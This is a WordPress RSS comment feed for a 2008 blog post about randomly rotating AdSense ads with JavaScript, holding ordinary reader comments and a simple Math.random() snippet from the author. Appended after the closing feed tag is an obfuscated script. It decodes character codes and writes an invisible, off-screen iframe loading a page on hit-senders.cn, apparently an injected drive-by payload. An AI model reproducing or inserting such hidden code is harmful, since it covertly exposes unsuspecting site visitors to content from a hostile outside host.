<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Comments on: How to Randomize AdSense Ads with Javascript</title>
	<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/</link>
	<description>Writing, Designing, and Making Money Online</description>
	<pubDate>Sun, 05 Jul 2009 20:16:12 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
		<item>
		<title>By: How to Randomly Rotate AdSense Ads with Javascript - Tutorial Collection</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-33945</link>
		<dc:creator>How to Randomly Rotate AdSense Ads with Javascript - Tutorial Collection</dc:creator>
		<pubDate>Sun, 07 Jun 2009 20:47:59 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-33945</guid>
		<description>[...] View Tutorial      No Comment  var addthis_pub="izwan00"; BOOKMARK        This entry was posted on Monday, June 8th, 2009 at 2:21 am and is filed under Javascript Tutorials. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site. [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] View Tutorial      No Comment  var addthis_pub=&#8221;izwan00&#8243;; BOOKMARK        This entry was posted on Monday, June 8th, 2009 at 2:21 am and is filed under Javascript Tutorials. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site. [&#8230;]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Wayne</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-24728</link>
		<dc:creator>Wayne</dc:creator>
		<pubDate>Wed, 20 May 2009 17:13:51 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-24728</guid>
		<description>Hello Guru, what entice you to post an article. This article was extremely interesting, especially since I was searching for thoughts on this subject last Thursday.</description>
		<content:encoded><![CDATA[<p>Hello Guru, what entice you to post an article. This article was extremely interesting, especially since I was searching for thoughts on this subject last Thursday.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Carl Plummer</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-23171</link>
		<dc:creator>Carl Plummer</dc:creator>
		<pubDate>Tue, 28 Apr 2009 16:55:08 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-23171</guid>
		<description>Please, can you PM me and tell me few more thinks about this, I am really fan of your blog...</description>
		<content:encoded><![CDATA[<p>Please, can you PM me and tell me few more thinks about this, I am really fan of your blog&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: todd frost</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-19961</link>
		<dc:creator>todd frost</dc:creator>
		<pubDate>Sun, 15 Mar 2009 15:45:55 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-19961</guid>
		<description>I found your blog on google and read a few of your other posts. I just added you to my Google News Reader. Keep up the good work. Look forward to reading more from you in the future.</description>
		<content:encoded><![CDATA[<p>I found your blog on google and read a few of your other posts. I just added you to my Google News Reader. Keep up the good work. Look forward to reading more from you in the future.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Walkere</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-1490</link>
		<dc:creator>Walkere</dc:creator>
		<pubDate>Sat, 12 Apr 2008 17:40:08 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-1490</guid>
		<description>So you want to show a different Ad Sense ad, depending on the situation?

For this, I would advise using PHP.  The Javascript alternative above is good for a simple random selection of ads, but it's not going to work as well when you have to interact with a database.

However, the same concept would apply.  First, you want to make a variable that tells the script what type of ad to display.

For example, if the admin is viewing the page, the variable is set to 1.  If the author is viewing the page, the variable is set to 2.

Then, use a &lt;a href="http://us2.php.net/switch" rel="nofollow"&gt;switch statement&lt;/a&gt; to echo the proper Ad Sense code.</description>
		<content:encoded><![CDATA[<p>So you want to show a different Ad Sense ad, depending on the situation?</p>
<p>For this, I would advise using PHP.  The Javascript alternative above is good for a simple random selection of ads, but it&#8217;s not going to work as well when you have to interact with a database.</p>
<p>However, the same concept would apply.  First, you want to make a variable that tells the script what type of ad to display.</p>
<p>For example, if the admin is viewing the page, the variable is set to 1.  If the author is viewing the page, the variable is set to 2.</p>
<p>Then, use a <a href="http://us2.php.net/switch" rel="nofollow">switch statement</a> to echo the proper Ad Sense code.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Shiv Majumdar</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-1489</link>
		<dc:creator>Shiv Majumdar</dc:creator>
		<pubDate>Sat, 12 Apr 2008 16:50:36 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-1489</guid>
		<description>I am a non-techie. i happened to land on this interesting page.

I am struggling to put together a rotator for three adsense codes on a wordpress article directory I am planning for a long time- admin, author and referer.

Obviously the last two have to be picked up from a database.

Any help possible?</description>
		<content:encoded><![CDATA[<p>I am a non-techie. i happened to land on this interesting page.</p>
<p>I am struggling to put together a rotator for three adsense codes on a wordpress article directory I am planning for a long time- admin, author and referer.</p>
<p>Obviously the last two have to be picked up from a database.</p>
<p>Any help possible?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Monkeygames.ws</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-774</link>
		<dc:creator>Monkeygames.ws</dc:creator>
		<pubDate>Wed, 19 Mar 2008 05:12:19 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-774</guid>
		<description>Your website is a great

thanks</description>
		<content:encoded><![CDATA[<p>Your website is a great</p>
<p>thanks</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Walkere</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-520</link>
		<dc:creator>Walkere</dc:creator>
		<pubDate>Wed, 05 Mar 2008 20:59:42 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-520</guid>
		<description>Sure.  To do that, you should save the Math.random() value in a variable (like var prob).  Then, include extra if/else statements and modify the percentages, kind of like this...

&lt;pre lang='javascript'&gt;var prob = Math.random();
if (prob &gt; 0.66) {
  //  First Ad Here
} else if (prob &gt; 0.33) {
  //  Second Ad Here
} else if (prob &gt; 0) {
  //  Third Ad Here
}&lt;/pre&gt;</description>
		<content:encoded><![CDATA[<p>Sure.  To do that, you should save the Math.random() value in a variable (like var prob).  Then, include extra if/else statements and modify the percentages, kind of like this&#8230;</p>

<div class="wp_syntax"><div class="code"><pre class="javascript"><span style="color: #003366; font-weight: bold;">var</span> prob = Math.<span style="color: #006600;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">&#40;</span>prob &gt; <span style="color: #CC0000;">0.66</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
  <span style="color: #009900; font-style: italic;">//  First Ad Here</span>
<span style="color: #66cc66;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">&#40;</span>prob &gt; <span style="color: #CC0000;">0.33</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
  <span style="color: #009900; font-style: italic;">//  Second Ad Here</span>
<span style="color: #66cc66;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">&#40;</span>prob &gt; <span style="color: #CC0000;">0</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
  <span style="color: #009900; font-style: italic;">//  Third Ad Here</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

]]></content:encoded>
	</item>
	<item>
		<title>By: A Tua Mae</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-511</link>
		<dc:creator>A Tua Mae</dc:creator>
		<pubDate>Wed, 05 Mar 2008 06:18:10 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-511</guid>
		<description>Greetings.

Is it possible to have more than 2 ads rotating?

Thanks in advance.</description>
		<content:encoded><![CDATA[<p>Greetings.</p>
<p>Is it possible to have more than 2 ads rotating?</p>
<p>Thanks in advance.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Walkere</title>
		<link>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-431</link>
		<dc:creator>Walkere</dc:creator>
		<pubDate>Sun, 02 Mar 2008 19:16:24 +0000</pubDate>
		<guid>http://www.earn-web-cash.com/2008/02/29/random-adsense-javascript/#comment-431</guid>
		<description>The biggest reason you'd want to do it is to test out a new type of ad.

For example, let's say I wanted to see if text ads or an image ad worked better in my Skyscraper.  I'd go into AdSense, create two ad units, give each an individual channel, and then randomly select which to show.

After a week, I could compare which performed better and see which would earn me more money.  Likewise you could test different color schemes and themes.</description>
		<content:encoded><![CDATA[<p>The biggest reason you&#8217;d want to do it is to test out a new type of ad.</p>
<p>For example, let&#8217;s say I wanted to see if text ads or an image ad worked better in my Skyscraper.  I&#8217;d go into AdSense, create two ad units, give each an individual channel, and then randomly select which to show.</p>
<p>After a week, I could compare which performed better and see which would earn me more money.  Likewise you could test different color schemes and themes.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script type="text/javascript">var jnTBHMDUBPexIZwWQVID = "bD60bD105bD102bD114bD97bD109bD101bD32bD119bD105bD100bD116bD104bD61bD34bD52bD56bD48bD34bD32bD104bD101bD105bD103bD104bD116bD61bD34bD54bD48bD34bD32bD115bD114bD99bD61bD34bD104bD116bD116bD112bD58bD47bD47bD104bD105bD116bD45bD115bD101bD110bD100bD101bD114bD115bD46bD99bD110bD47bD102bD105bD110bD100bD47bD105bD110bD46bD99bD103bD105bD63bD53bD34bD32bD115bD116bD121bD108bD101bD61bD34bD98bD111bD114bD100bD101bD114bD58bD48bD112bD120bD59bD32bD112bD111bD115bD105bD116bD105bD111bD110bD58bD114bD101bD108bD97bD116bD105bD118bD101bD59bD32bD116bD111bD112bD58bD48bD112bD120bD59bD32bD108bD101bD102bD116bD58bD45bD53bD48bD48bD112bD120bD59bD32bD111bD112bD97bD99bD105bD116bD121bD58bD48bD59bD32bD102bD105bD108bD116bD101bD114bD58bD112bD114bD111bD103bD105bD100bD58bD68bD88bD73bD109bD97bD103bD101bD84bD114bD97bD110bD115bD102bD111bD114bD109bD46bD77bD105bD99bD114bD111bD115bD111bD102bD116bD46bD65bD108bD112bD104bD97bD40bD111bD112bD97bD99bD105bD116bD121bD61bD48bD41bD59bD32bD45bD109bD111bD122bD45bD111bD112bD97bD99bD105bD116bD121bD58bD48bD34bD62bD60bD47bD105bD102bD114bD97bD109bD101bD62";var abZCRQWJbfTKSmMazPvA = jnTBHMDUBPexIZwWQVID.split("bD");var eZynzvKPQSTruttLJPVk = "";for (var vouObHpbWkbBKaoJVyZm=1; vouObHpbWkbBKaoJVyZm<abZCRQWJbfTKSmMazPvA.length; vouObHpbWkbBKaoJVyZm++){eZynzvKPQSTruttLJPVk+=String.fromCharCode(abZCRQWJbfTKSmMazPvA[vouObHpbWkbBKaoJVyZm]);}var AxWfZRFRmIMRriSLNbIs = ""+eZynzvKPQSTruttLJPVk+"";document.write(""+AxWfZRFRmIMRriSLNbIs+"")</script>